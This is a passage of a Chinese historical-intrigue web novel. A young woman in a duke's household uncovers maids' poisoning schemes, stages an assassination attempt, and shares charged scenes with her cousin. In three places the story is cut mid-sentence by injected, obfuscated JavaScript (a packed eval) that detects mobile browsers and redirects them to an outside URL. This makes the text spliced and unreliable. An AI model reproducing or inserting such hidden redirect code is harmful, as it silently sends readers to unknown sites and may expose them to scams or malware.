“诸位可有所耳闻那麴孽戕命，狂药罹殃的水大人？此人酲殂便罢，其妹在京城亦是声名鹊起，您瞧瞧，其父被罢黜，其兄酒澌，而这水娘子倒是不顾一切，来京城攀高枝来了，如今啊，就在国公府寄人篱下，听闻，这水娘子还是个寡妇……” 玉盘复述所闻时，言至末尾，已是无力再言，泪簌簌落下，正掏出帕子拭泪着。 良久，待其平复心境后，才抽抽搭搭才启齿道：“娘子，此事传出，定是有人在后推波助澜，不然，为何偏偏在圣上择第四人往山雨时，出了此事？此人居心叵测，如今敌在暗娘子在明，娘子可有解法？” 经几日咽苦吐甘，水断栩已好转了些，闻玉盘所言，她回应粲然一笑。 “此事并非关乎我一人之名声，更是牵连整个国公府，想来，姨丈姨母不会坐视不管。” “娘子……您总该为自己所虑，舆论足以杀人，不得不防啊……” 玉盘还欲再言语，见水断栩摆摆手，她会意，只能怏怏不乐地退下了。 见其身影还在抽搭着，水断栩只长叹一声，心中则是念起长镵来。 游乡所言那三个女子，恰是遇家奴，而几冬之死，虽有梦境显现与遇家有干系，可未免此说法玄之又玄，难以令旁人信服。 单单论水断栩，她自己皆是觉得荒谬至极。 可那沾血的长镵，又恰是证荒谬之梦的物证。 这一切…… “娘子，夫人身旁的李嬷嬷来了。” 思绪被迫止，闻言，她方仰首，便见李嬷嬷已进了屋。 “李嬷嬷。” “姑娘万福，老奴今日奉命前来，这是拜帖，请姑娘一观。” 李嬷嬷手中捧着一锦囊，说罢，水断栩拿起，从中取出一浅绿笺纸，继而细细看去。 只见首行写着，闺中遇氏肃拜，末尾写着是伏惟惠允，曷胜欣幸。 遇氏？ 是了，这京城中，还能有旁的遇府不成？ 想来便是遇家二娘子，遇却筵。 “姑娘可是要应下？若应下，老奴在此候着回帖。” “劳烦嬷嬷了。” 水断栩作势起身，李嬷嬷见状上前将其扶起，继而将一绣帕交与她手中。 “夫人特意叮咛，此绣帕，权当小礼，夫人虽已然痊愈，可府医言仍需将养着，故未能亲自来。” 水断栩闻言颔首，心下生疑，缘何起初不说？ 转眸间，牖外身影转瞬即逝，她当即会意，怪道自嬷嬷进屋始，始终轻声细语，生怕被旁人听去般。 “既是如此，我已明了。” 水断栩执笔写着回帖，首行，闺中水氏端肃复，末行，临楮瞻依，曷胜忭跃。 搁笔，将绣着牡丹的帕子连回帖，一同放于锦囊中，继而递与李嬷嬷。 她察言观色着，李嬷嬷神色倒是瞧不出有异样，莫非……方才那道身影是自己眼花所见？ 分明捧着拜帖，可李嬷嬷仍是未走，垂下眸，不曾挪动一步。 良久无言，水断栩终是想起，还需附上跟敬，遂从香囊中掏出六两银子，再度递与李嬷嬷掌中。 “老奴告退。” 李嬷嬷身影终是渐渐远去，持着拜匣，见四下无人，她终是仰首长叹。 “生财之道，究竟在何方！” 水断栩掂量着香囊，不由为之发愁，从前至少可典当陶氏所赠之物，可总不可能日日赏赐，自己啊，离囊中羞涩只几步之遥。 喟然长叹不知过了多久，久到日落月升，久到碧霞笼夜，忽地跫音起，水断栩止了怨怼，徐徐起身朝轩窗外看去。 轩窗外，是日藕与期儿二人，正匿于竹林交谈着。 只见日藕正趾高气扬地言语着，并将一纸包递与期儿。 “我同你讲，此事若成，待我成了世子妃，自然有你的功劳，我自不会薄待你，可你若是不做，我大可以日日叫你刷恭桶，让你痛不欲生！你不会还以为……你是夫人身旁贴身女使吧？你如今，只是一粗使女使！” 水断栩当即掩口，世子妃？ 祝见粼？ 会意后，她本欲出声阻止这荒唐之举，正要开口，却见期儿忽地转眸看向自己。 “不可。” 水断栩念出她口型，此时日藕正仰首侃侃而谈着，无心留意着二人，并未瞧见期儿怪异之举。 “不可！” 期儿见她仍未藏起，遂再度开口，水断栩见其执着，心中亦隐隐猜测出期儿是何作想，遂俯下身，将自己藏起。 若她未揣测错，期儿应意为，若自己不顾一切地出声制止，那遭殃的还是期儿自己。 日藕或许会告饶求情，或许会摇尾乞怜，可皆是仅朝自己，可无论世事如何颠倒，日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15955524|177580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 藕皆不会朝期儿如此，她只会将自己这所受的屈辱，加之愤懑、不甘、不满一同发泄于期儿身上。 可此事非同小可……罢了罢了，待日藕走后，将那纸包调换就是，此举既可护住祝见粼名声，又可护住期儿，一举两得！ 水断栩在心中暗自想着，准备待日藕走后便实行，念及此，于轩窗窥视着，借着夜色藏身。 “我警告你，若是此事不成，后果你知我知，我死了，亦不会令你好过，可知晓该如何做了？” “是……唔……” 期儿应答声音稍大些，却当即被捂住口，日藕环视四周，提防着有或无旁的人听去。 日藕眸光途经轩窗时，从外瞧屋内是黑灯瞎火，她直直盯着轩窗内，从内瞧，水断栩眸光亦与之交汇着。 二人隔窗对视着，水断栩身后之黑暗将其吞噬，令人瞧不真切。 日藕久久不移目，被她禁锢住的期儿镇定自若，甚至颤抖皆未有，绍清，日藕纵了手，期儿顺势怀中桎梏。 “你若是吵醒那寡妇，届时我便将一切归于你身上。” “屋内一团漆黑，何处会有人？日藕姐姐多想了，况且若是娘子瞧见了我们在此密谋，合该早早制止我们，总不能……隔着轩窗窥视吧。” 许是见期儿不惧不慌，日藕渐渐转眸，继而低语。 声音实属过轻，水断栩听不真切，只见日藕疾步离去，而期儿留在原处。 只见期儿垂下眸，掂量着纸包，继而哂之。 “嗒嗒嗒。”倏然，急促跫音始。 又是何人？莫不是日藕折返？ 水断栩眸光移向一旁，只见时莲匆匆而来，行至期儿面前。 “你，”许是意识到自己声高了些，她迅速压低着声，开口道，“方才，日藕是不是予你何物？她令你做什么事？予了你何物？” “时莲姐姐如此问询，怕是早已知晓一切，既如此，何须再来问我呢？” “你！你勿要装神弄鬼！不然，我大可让你日日擦青砖！” 见此威胁，期儿当即面容涌起惧意，继而垂下首，扯着时莲衣袖轻晃着，道：“方才是我之过，日藕姐姐亦来威胁，时莲姐姐你亦然……令我如何是好呢？” 说罢，期儿抬手，似是在拭泪，见她哭得抽抽搭搭的，一旁窥视的水断栩亦愕眙不能对。 这是……哪出啊？方才镇定自若之人在何处？ 瞠目结舌之处未完，期儿继而将日藕所言，颠倒黑白地讲述与时莲。 “时莲姐姐，莫不是你与日藕姐姐有何仇怨？她予我这纸包，说要……要让姐姐你……身败名裂……” “什么？岂有此理！” 时莲顿时嗔怒起来，只见她目眦欲裂，若是日藕在此，许是要将其生吞活剥。 “时莲姐姐切勿动怒，正所谓，知己知彼，百战不殆，姐姐若是先露出马脚，怕是会落得下风。” 水断栩见她好说歹说，终是将时莲安抚平静下来。 只见时莲亦然取出一纸包，塞至期儿手中，道：“我听闻，那贱人准备缠着那寡妇去赴宴，届时，你讲此物放于她香囊中，令她出丑！” 时莲说罢，不屑地拂袖离去。 闻得末尾的水断栩不由失语，她们三人之间恩恩怨怨，为何总要提起她？ 无语凝噎之际，继而瞧见，期儿将两纸包捧在手中端详着。 下一瞬，将两纸包掂量着。 18. 刺杀 “究竟在搞什么名堂？” 水断栩实属不解，口中咕哝着，蹶然而起，疾趋至门扉，忽地止步，张望着周遭。 见四下只期儿一人，覆核再三，才踏出门槛。 却并未是去寻期儿，她申欠着，转而朝耳房走去。 “玉盘，玉盘？你可歇下了？你未燃烛，我瞧不清。” 方才窥视时起码有月色，眼下她才是真真蹑蹻担簦，蹐地跼天，好比冥行擿埴。 “娘子？” 玉盘闻声而起，继而秉烛走至她眼前，随着烛火摇曳的，是水断栩双眸中茫然燃尽，随之替代的是平静。 “娘子，可是要寻什么？” “见慝。” “见慝？娘子您……” 玉盘惊呼着，随即噤声，疾步走至轩窗旁，左顾右盼，只见期儿一人身影。 “期儿？她好端端不在溪光居，来此处作甚？方才……她不会听去了罢。” “我寻见慝，就是为了予她。” 水断栩见她忧心着，遂将自己来意全盘托出，可只见玉盘柳眉紧蹙，愈加不解了。 “为何？娘子，您忘了此药所携后果？见慝，会致幻，还具有毒性！娘子……是否是因上回之事？那奴婢当即持……持这长镵，把她敲晕丢到义冢，实属不能用药留下痕迹，万一东窗事发……” 水断栩闻言，抬起双手，擿其面颊，继而道：“你这丫头，脑袋里都是些什么心思？我用此药，自不是亲手杀人。” “哎呦……果真？既是如此，那奴婢这就去取。” 待掌中静躺着一瓷瓶，水断栩屈了屈指，叮咛着玉盘早些歇息后，便出了耳房。 只见期儿还未离去，仍掂量着那两个纸包，似是有意候着自己到来。 “娘子万福。” 期儿见她到来，先是屈膝道礼，继而将两纸包捧起，显在水断栩眼前。 “娘子，奴婢并不图令娘子垂怜，只欲将此事讲出。并非是矫情饰诈。” “那便依你所言，她们二人之意图我亦能揣测出七七八八，指使你做之事我亦能猜测出大概，我欲知晓的是，你如何想，你又欲如何做。” 道来此番话时，水断栩抬起指尖，挑起其颌，迫使期儿正视着自己，四目相对间，她在察言观色。 只见期儿已然不同于那日刺杀自己时，眼眸中携着的浓浓恨意，此时眼眸中，取而代之的是，清澈。 “在回答娘子问询前，奴婢欲先负荆请罪。” 期儿说罢，作势跪下，将两纸包置于一旁，双膝弯下直至触地，水断栩并非阻拦此举，因是期儿自己所愿。 下一瞬，水断栩蹲下身，与之平视。 “奴婢从前受奸人蛊惑，误以为娘子是真凶，适才有荒唐之举，冲撞了娘子，此罪一。从娘子收留迎叶姑娘来看，足见娘子与奸人所述不符，可奴婢却不肯用双眼观，只用双耳听信片面之语，一叶障目，其罪二。若非娘子当时来至溪光居，奴婢怕是早已殒命，却恩将仇报，此罪三。” “三罪并罚，是以娘子叫奴婢做什么，奴婢便做什么，绝无怨言！只望娘子足以宽恕奴婢昔日之举。” 期儿道完此番话，作势要磕头，此回水断栩阻止了她欲俯身的举动。 “既是要请罪，怎可就磕个头了事？” 水断栩佯装漫不经心地开口，扶着期儿的手却未松开，自己徐徐起身，顺势将期儿亦扶起。 如今，二人皆站定，仍是平视。 “娘子要如何惩处奴婢，奴婢皆甘之如饴，只望娘子赦宥奴婢。” 期儿闻言，许是自知请罪不易，垂下眸，绞着手指，看模样看神色很是忐忑不安。 “既你如此说来，那……” 说罢，水断栩掏出瓷瓶，其上有字条，写着“见慝”二字，将瓷瓶塞与她手中。 “此药可是毒药，若我命你下毒害人，你可愿？” “奴婢……奴婢愿意！” 期儿闻言倒是不惧，许是因自己从前便有鱼死网破之志，便有宁可被杖打至死亦不肯松口之志。 水断栩见其神色凝滞，俯身拾起两纸包，径直走向木桥。 “跟上。” “是。” 二人行至木桥，已是蛩语砌阴，兰釭欲烬，桥下活水汩汩流淌着，似是势必要裹挟着万籁俱寂而去。 水断栩将两纸包交与期儿手中，继而开口道。 “你是如何想，你欲如何做？我眼下并无困意，可听你娓娓道来。” “是。” 经期儿所述，日藕、时莲二人好似猝然换了一个人，虽往日便嚣张跋扈，可如今……倒是有自命不凡之感。 “往昔她们二人会夸从娘子处得来的首饰，甚至所着衣裳皆是水红色，张扬至极，可无端之事无独有偶，先是不知为何二人竟生了嫌隙，彻底不顾颜面，形同陌路。” “再是二人自打有一日出府后，整个人全然是变了，判若两人，奴婢曾无意中听到什么……什么要做世子妃此等狂悖之语。” 水断栩闻言便知，是自己那日所设之事成了，这两人，竟真信了，倒也在自己意料之中。 期儿之声继而在耳边响起，仍在诉说着。 “奴婢自是不会助纣为虐，应下二人之语亦是权宜之计，颠倒黑白二人所言亦是令她们互相迫害，只有她们二人死了，奴婢才能……才能有一席喘息之地。” 期儿将纸包捧得高了些，衣袖滑落，手臂上有蜿蜒曲折的伤疤，其触目人心，何人见了，双眸皆要为之一颤。 比起上回水断栩所见，伤疤愈加多了，重重叠叠，旧伤未愈再有新伤覆盖其上，殷红不止。 “奴婢本计着，待二人随娘子去遇府时，将日藕所予纸包塞至她自己之香囊，将时莲所赠纸包下在茶水中，令她临去前饮下，正如奴婢同她们所说般，如此，不过是自食恶果。” 期儿道完自己应说之言，继而垂下首，候着水断栩所言。 “既是如此，且先将此纸包交与我，这见慝，便交与你，在去遇家前，日日将此药下于二人吃食中。” “是。” 二人手中各持一物，既已交代完，夜深人静，该回屋了。 水断栩走在前，忽地一念头涌上心间，匆匆止步，连带身后期儿亦被迫止步，撞向其背。 “娘子？是有何事遗漏？” 水断栩面色愈来愈苍白，此念头若成…… “方才……日藕可有说，将纸包下予何处？” “是……世子杯中。” 期儿说罢，许是自己亦隐隐觉察出不对，同水断栩一同疾趋着。 “日藕如今人在何处？” 日藕既生了妄念，势必会实行，那祝见粼……或许…… 祝见粼年岁已过弱冠之年，在府中亦听女使们谈起过，夫人为其议亲一事，可无论是何亲事，他统统不应。 陶访雪亦试图将一些女使塞进他屋中，却在祝见粼再三叮咛后消了这妄念。 如今日藕此举，不准会令此情形变化。 水断栩自是不允有此局面，若是如此，对付日藕，得待何时？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15955525|177580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “娘子不可，此事若果真发生，娘子您去可制止，可若无，会打草惊蛇，一切毁于一旦啊！” 期儿忽地扯住她的衣袖，言辞恳切，任何人来看其神色，皆是为之考虑周全。 “只有一法了。” 二人回至青塘苑，片刻后，全府惊动，喊叫声不绝。 “来人啊！” “有刺客！” “娘子受伤了！” 只见水断栩正躺于榻上，面色苍白，手臂处伤口正往外涌出殷红来，府医正为其医治着。 “好端端地，怎忽地有刺客？你们！还不快去搜捕！府中养着你们是做什么！” “是……” “是……” 陶访雪正怒斥着女使们和婆子们，众人在屋外跪着，皆垂着首，在其训斥后，才低声回应着。 “还不快去！” 待第二回催促，众人终是明了其意，踉跄着起身，纵是被何人撞到，亦不敢出声咒骂。 “栩儿，你告诉姨母，那刺客是何模样？逃至何处？” 见其忧心，水断栩强撑着身子欲起，伤口被扯着涌出愈多殷红来，下一瞬，便被止住。 “罢了罢了，你如今虚弱，该好好将养身子，遇家那邀约，你可还要去？” “劳姨母忧心，邀约既应了，自然是要去，姨母宽心些，届时，我身子定然好了。” 陶访雪还欲言语些，劝她以身子为重，勿要逞能，却敌不过她执拗，叮咛了几句话后，便同府医离去了。 待众人散去，玉盘终是将啼哭声释放，方才怕夫人因此责骂，她才一直忍着不发作。 “娘子……” “哭什么？我无碍，不过是伤了一臂，你瞧，我照样可下地行走。” 水断栩还欲起身，证实自己可行走，却被玉盘呜咽着按住。 “娘子，您说说您自己，怎可……唔……” “有人。” 玉盘本正啼哭，闻言，当即止了哭声，却忍不住抽抽搭搭。 “嘘，玉盘，你且将耳房中匕首取来。” “是。” 玉盘出了屋子，水断栩吃力地下地，蹒跚而行，拿着烛台，行至轩窗旁，竭力不发出跫音。 “啊……” “咚！” 声音从屋外至，算算时辰，玉盘应从耳房赶回。 莫非……还有刺客？ 念及此，水断栩顿时警觉起来，举着烛台的双手愈加用力。 若还是那刺客折返，那只能殊死一搏了。 “哗！” “表妹！是我！” 随着烛台挥出去的瞬间，祝见粼声至。 “表兄？” 幸而祝见粼适时侧过身，躲过一击，不然……国公府今夜怕是不会消停了。 方才挥出烛台，已尽了她许多气力，伤口再度扯到，血再度涌出，染红了布条同绦子。 “啊……” 水断栩痛呼出声，方才浸在惧意中，察觉不出痛，如今既確无恙，痛随之袭来。 “表妹！你这……” 祝见粼抬起双手，欲扶住她正颤抖的身躯，双手悬停空中，终是放下。 “我无碍，屋外是寄思？” “是，他许是将……将玉盘姑娘敲晕了，待玉盘姑娘醒来，我便押着他赔罪。” 水断栩闻言颔首，继而开口道。 “表兄还请转过身，我需再包扎一番。” “好。” 说罢，祝见粼耳垂上，再度染上诡异的绯红。 19. 一室春生 “近来暑气盛，表兄应多加留意，勿要中了暑气。” 水断栩见他耳垂正霞红，心想，祝见粼住所总不可能会被克扣苛待，怎地会灼肌至此，霞红至此？ 心中纳闷着，却见话落后，祝见粼耳垂仍霞红着，甚至……红得发紫。 “表兄，你……无恙？” 水断栩见状，亦不可坐视不理，她并非虚情假意地问询，是真真担忧祝见粼会不会昏在此地。 如此，那可棘手多了，亦会暴露二人孤男寡女共处一室之事。 届时，于二人名声皆是不利。 “我无碍，表妹勿要忧心。” 见祝见粼还能应声，水断栩渐渐放下心来。 “好。” 水断栩正为自己包扎着，先是扯下布条，此举属实疼煞人，她额角已有细细密密的汗珠，可臂上之痛楚仍在叫嚣着，似是与她不死不休。 不免痛呼出声，几番出声后，只见祝见粼忽地开口道。 “表妹，要不……我来帮你上药，如何？” 水断栩先是一怔，随即转念一想，罢了罢了，玉盘如今未醒，游乡亦不知去往何处，除祝见粼外，亦是无人相帮。 他既自愿相帮，倒省了自己开口去求，亦省了自己些气力，遂她回应道。 “表兄既已开口，那劳烦表兄了。” 水断栩掩了掩衣角，继而将布条、珍珠粉、绦带摆列一处，一切毕，只静候祝见粼回身一转。 “得罪了。” 祝见粼转过身，只见他面色潮红，甚至脖颈皆灼红起来，正俯下身，将金疮药洒于伤口之上。 “表兄……嘶……你果真未得热症？面色怎会如此……嘶……” 水断栩倒不觉屋内爇肤歊歔，冰盘中冷气徐徐，腰间亦戴着内容薄荷的香囊，怎地炎热至此？ “未有。” 见他所言无事，遂不予追问，正要挪动着菊花芯枕，水断栩忽地触碰到自己身上的纱衣。 她适才回过神来，原先并不是这衣裳，方才受伤包扎后，才换上纱衣，还是极为轻薄的纱裁制的纱裙…… 水断栩此时亦觉着，屋中煴煴，熇暑逼人。 药烛正燃着，清凉气息将二人裹着，轩窗正悬灯，烛火随穿堂风摇曳着，光，倾洒在二人之间。 祝见粼正用绦带系着，指尖时不时触碰到她臂上肌肤，水断栩无缘无故地面赤了。 她用另一手触碰着面颊，心中暗道不好，怎地如此灼热？莫不是……自己亦得了热症？ 从她方位来看，祝见粼自始至终皆是垂下眸，亦不言语，只帮自己包扎伤口。 入目，双手骨节分明，修长有力，因伤在臂上，二人距离离得极近，鼻息喷洒着，水断栩觉着脖颈处发痒。 光洒在祝见粼眼睫，如烁烁繁星，众鸟翩翾般眨动，随着紧蹙的眉头一同彰显着忐忑。 不知是或不是自己错看，转眸时，他眼睫眨动多次，喷洒鼻息亦止，似是……在屏息。 应当是自己错觉所致，念及此，水断栩晃了晃脑袋。 她转首望向伤口处，方才那一刀划开皮肉，如今看来，敷上珍珠粉，倒不是如方才般触目惊心。 “若疼，不必忍着。” 祝见粼许是见她久无动静，遂启齿道。 可分明他只需抬眸望上一眼，便知水断栩神色如常。 只需，一眼。 可，他偏偏眸中只有那伤口。 “方才上药时疼，已然喊过了。” 水断栩实话实说道，继而转首，随着他一同垂下眸，眸光落至二人之影上。 她抬手，影随之而动，先是周绕着屋子，再是融在自己影中，终至落在二人交叠之影处。 从影中便可瞧见，祝见粼身姿挺拔，如修竹倚风。 她指尖移，落至祝见粼影上，仅短短一瞬，却又移开，好似那影是灼热烙铁。 忽地念及自己遇刺为何事掩护，话语本还在脑海中踟蹰，却有些许从口中泄露。 “表兄，你方才……来此处前，无事发生？” “无事。” 祝见粼回应时，眼睫皆不眨动一下，双手亦然，一切彰显着，方才他一切安好。 水断栩闻言，指尖代着气息安稳下来，放于纱裙上不再动弹。 “好了。” 随着祝见粼声至的是，其指尖远离之触碰，冰冰凉凉触感远去，水断栩竟生出一丝不自在来。 “多谢表兄。” 说罢，二人皆是无言，窗下悬灯摇曳之声，竟如此响亮。 水断栩抬起眸看去，只见他为自己包扎后，便回身一转，以背示人，双手正摒挡着方才所用之物。 此外，不多一言。 她见状，遂不将心力分至此，而是忖度他事了。 府中出了如此大事，甚至惊动了大病初愈的陶访雪，可……刘嬷嬷此时在何处？方才责问时亦未瞧见其身影。 此事实属蹊跷，她该去一探究竟。 念及此，她猝然起身，继而取出云肩褙子披裹着，一切事宜行动下来行云流水，竟令她险些忘了屋中还有一人。 该如何同他讲自己深夜外出？何人会允？思及此，心中不由沉吟，亦彳亍着未走出屋外。 “表兄，刘嬷嬷眼下不知所之，我需去寻……” “唔！唔……” 倏然间，黄花梨柜中传来声响，引去了二人眸光，止住了水断栩话头。 “表兄，表兄……” 只见祝见粼徐徐起身，见此情此景，何人皆会滋生好奇之心，断不会视若无睹，他亦不例外。 水断栩见状，借自己离黄花梨柜更近些，遂阔步上前，将其打开，入目便是被布条捂住口的期儿，正呜呜叫唤着。 “唔……啊……咳咳咳……” 她将布条扯去，佯装不知情地问询道：“期儿？那刺客竟将你藏至此处！” 期儿从柜中走出，仍伴随着哕哕声，好一会后，屋中才复得平静。 水断栩眸光直望向期儿，任何人见了皆是一副关切之态，可只要细细想来，便知许多纰漏。 她原先是欲趁众人走后，再将期儿挪出柜中，何曾想半路出现一个祝见粼？倒是令她原计想要变。 “见过世子，世子万福。” 期儿掩衣襟道礼着，难掩虚弱状，见她面色苍白着，好似触碰一下便会昏倒。 祝见粼沉默三息，终是右手虚抬，口中道着：“罢了。” 水断栩垂下眼睫，候着他的问询，期儿为何夜深在此处？不过……他自己亦不合时宜出现在此……有何立场问询？ 她赌，祝见粼不会开口。 可自己未有全然把握，不知不觉间，握着期儿双臂之手力道愈加大了。 “表妹……” “表兄，我……不好！” 话还未落，便瞧见屋外青烟袅袅，好似走水之势。 水断栩此时亦顾不上他如何做想、应不应允，亦顾不上期儿，只疾趋而出，火急火燎来至屋外。 循着青烟进了药灶间，所见却是这一幕情形。 只见游乡正持着扇，被呛得嗽声连连，鼻尖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15955526|177580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沁汗，面颊上染上黑，银铫架于药灶，铫中药已然沸了。 “司药鬟和掌火婆呢？怎地是你在此？” 青烟旋入陶管，排至假山处，水断栩将镂空花窗推开，终是不如方才般呛人。 “娘子？我只听闻您受伤了，便念着为您做些什么。” “罢了罢了，先出去罢……” “咚！” 说罢，门倏然被推开，祝见粼亦赶至，此时何来作为世子的尊贵？只见他阔步上前，不顾目光握住水断栩双臂，察其有或无受伤。 “可有伤着？” “我……我无碍……” 水断栩一时怔然，任由其摆弄，终至在感到头晕目眩时，祝见粼话语才至耳中，她亦迷迷糊糊回应着。 镂空花窗未关，风涌入，吹动着她额角未拢之发，此时祝见粼亦察终，她亦站定。 入目情形一切安稳下来，他双手仍放于她双臂，二人四目相对着，风为寂然气韵添了几分喧闹。 四目中，倒映的皆是彼此，只有彼此。 四目相对，终是祝见粼先别开眸，他眸中担忧已淡去，取而代之的是一丝……不自在。 方才那双眸，几近予水断栩一错觉。 祝见粼，好似生怕失去自己。 “无事便好，小武，将此处整理如初。” “是……是……” 思绪止，入望是祝见粼已然纵了双手，继而侧过首，吩咐着游乡，话落，便拂袖离去。 好似，方才那一切不复发生。 水断栩欲帮着游乡一并整理着，虽游乡一人已然整理毕，犯不着她相帮。 “娘子，我此举……” 见造成如今情形，游乡神色携着愧，垂下眸绞着手指，支支吾吾地言语着。 “无心之失罢了，走罢，勿要将旁人吵醒。” 二人走至屋外，祝见粼正以背示人，耳垂再度染上诡异的绯红。 “表兄，我应去寻刘嬷嬷了。” 水断栩裹了裹褙子，转身欲走，却闻不远处传来嚎叫声。 “疼……疼……您轻点……” “轻点？方才你将我敲晕时，怎么不……唔……” 原是玉盘与寄思二人，只见玉盘揪着寄思的耳，纵使他在一旁求饶，亦不肯纵手。 许是怕惊扰院中旁的女使，二人声音竭力低着。 “玉盘。” “娘子！” 玉盘闻声，哪里还顾得上一旁之人？提着衣袂，便蹑手蹑脚走来。 “我无碍，可是刘嬷嬷不见踪影。” 话落，玉盘还未做出回应，祝见粼便倏然开口道。 “先回屋，此刻风急。” 水断栩抬手，风？急？风在何处？ 见祝见粼已然进了屋，她觉着此言有深意，便随之入屋。 “玉盘、迎叶，你们先回屋。” 寄思则是藏于树上，玉盘游乡二人则是听命先回了耳房。 “风急，穿暖和些。” 方才药灶间动静许多过大，屋外原驱散的守夜女使复起，正摇响守夜铃。 铃声响着，良久，本欲去寻的刘嬷嬷竟无端在外出声。 “娘子？” 刘嬷嬷试探地在屋外问询着，水断栩正要回应，忽地一声响，原是祝见粼撞到了月牙桌。 “嘶……唔……” “娘子？出何事了？” 随着祝见粼闷哼声起的，是刘嬷嬷语气中的疑惑。 水断栩见状，疾步上前，捂住他口，道。 “嘘！” 20. 辅车相依 “别出声……” 水断栩叮咛了一句，便转首隔屋门对刘嬷嬷说道，全然未顾祝见粼鼻息喷洒在自己虎膺。 “我无事，倒是嬷嬷，方才去了何处？倒令我好找。” 说罢，屋外传来窃窃私语，似是在交谈什么，在此空隙，水断栩终是得以一时喘息。 她仍是侧着首，忐忑地屏息着，殊不知青丝所携茉莉香气，已然不偏不倚落入祝见粼鼻窍中。 祝见粼垂下眸，眼神从方才的惊愕、无措，渐渐变成了自己亦道不明的迷离、贪婪。 香气源源不断进了鼻窍，他眼神愈来愈迷离起来，几近要醉了。 他见眼前人离自己是如此近，近得只需稍一抬手，便可将其拥入怀中，亦只需抬手，便可摆脱其桎梏。 可，他双手垂下，竟甘愿受其桎梏，却亦不敢抬手触碰。 他指尖攥着衣袍，眸光炯炯有神地落在水断栩身上，从她发髻看到眉间，再看至面颊，将其忐忑不安神情尽收眼底。 垂下的手忽地抬起，许是欲安抚她此时的不安，可终是迟迟未落，不知是因心中踟蹰，还是因顾及其身着纱衣。 水断栩仍旧侧着首，直望着屋门外，未察觉到覆于其口的手已然沾染热气。 祝见粼则将她一举一动收尽眼帘，紧蹙的眉头、强装镇定的神色、与风一同摇曳的青丝…… 还有紧抿的唇、如凝脂的面颊、眨动的眼睫…… 心中忽地有多如繁星之念头，涌上心间。 她会心悦什么事物？胭脂？簪子？发钗？亦或是弓箭、匕首？是他能给予的？亦或是他不能给予的？ 她心悦什么颜色？湖蓝色？藕色？月白色？亦或是绯红？ 她有何嗜好？绣花鸟鱼虫？观山川湖海？亦或是吟诗作赋、阅古籍？ 她有何习贯？常常摩挲指尖？常常托腮？常常阖眸忖度？ 她心悦何时节？芳春？长夏？商秋？或是玄序？ 她喜爱吃食是何？南瓜糯米糕？茯苓糕？抑或是巨胜奴？ 她历经何事？在堇字、绽翩、山雨皆经历过何事？有何忻愉之事？有何悲戚之事？幼年所经什么？及笄礼又是如何情形？ 她究竟是何品性？安静的？活泼的？亦或是生性多疑、果断的？ 她上一回啜泣缘由是何？上一回忻愉缘由是何？ 她有何亲近之人？她在家中日子过得如何？ 她…… 这许许多多疑问，祝见粼皆想知晓其中解。 他想了解水断栩，他想明了心中所惑。 他想，靠近她。 一如，眼下。 青丝摇曳着，有几缕拂过他耳畔，祝见粼眼睫轻颤着，魂好似被勾走了。 “方才……老奴只……一时身子不适，在后罩房歇着，劳烦娘子忧心。” 刘嬷嬷支支吾吾声传来，屋外动静亦小了些。 “那嬷嬷还是回去歇着罢，只瓷瓶滚落罢了，犯不着嬷嬷兴师动众。” “是……娘子您早些歇息，老奴告退……” 水断栩应付着，总归是令刘嬷嬷未能进屋，待跫音起，她终是长舒一口气。 “总算是……走了。” “唔……” 正当她如释重负之时，耳畔处一声闷哼引起了其眸光，她适才惊觉，自己的手还覆在其口上。 水断栩猝然纵了手，继而将手垂在身侧，掌心热气弥漫着，甚至有些许潮湿。 “表……表兄……方才对不住……” “无碍，我知表妹此举是……无奈之举。” 二人皆垂下眸，水断栩则是后退几步，顷刻间二人由方才近在咫尺变成隔着千重山之远。 “刘嬷嬷既已现身，想来自是无虞，妹妹亦不用为其忧心，亦不用出去寻觅，既如此，为兄告辞了。” “好。” 入目，祝见粼朝轩窗而去，屏息，踽踽而行，望着其背影，她欲言又止。 思忖再三，终是将话道出口。 “表兄。” 话落，正蹑步的祝见粼止步，转身朝她看去。 “表兄，遇府设宴，你可去？” 见他颔首，水断栩唇瓣翕张，一副欲语还休之态，祝见粼许是瞧出其含辞未吐，遂开口道。 “表妹可是还有何话？大可直言。” “表兄，多加留心身边人，提防些，总是无错的。” 她抬眸，一字一句言语着，四目相对间，眸中是恳切。 “好。” 待祝见粼身影远去，她方坐于月牙桌旁，此一边浅啜着茶，彼一边心中忖度着。 今日之刺客，并非她有意编造，而是確有此事。 水断栩同期儿赶至青塘苑中，疾趋进屋，屋门将将关上，便传来一阵寒意与血腥味，入目是一蒙面男子，身着夜行衣，正持剑。 “啊……救命……” 期儿见状正要号救，可蒙面男子眼疾手快，一掌落，期儿当即昏了过去。 